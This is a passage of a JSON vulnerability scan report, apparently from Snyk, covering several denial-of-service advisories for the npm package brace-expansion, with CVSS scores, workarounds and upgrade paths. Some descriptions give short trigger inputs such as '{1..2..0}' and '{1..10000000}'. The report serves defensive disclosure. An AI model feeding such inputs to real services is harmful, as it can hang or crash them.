false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable 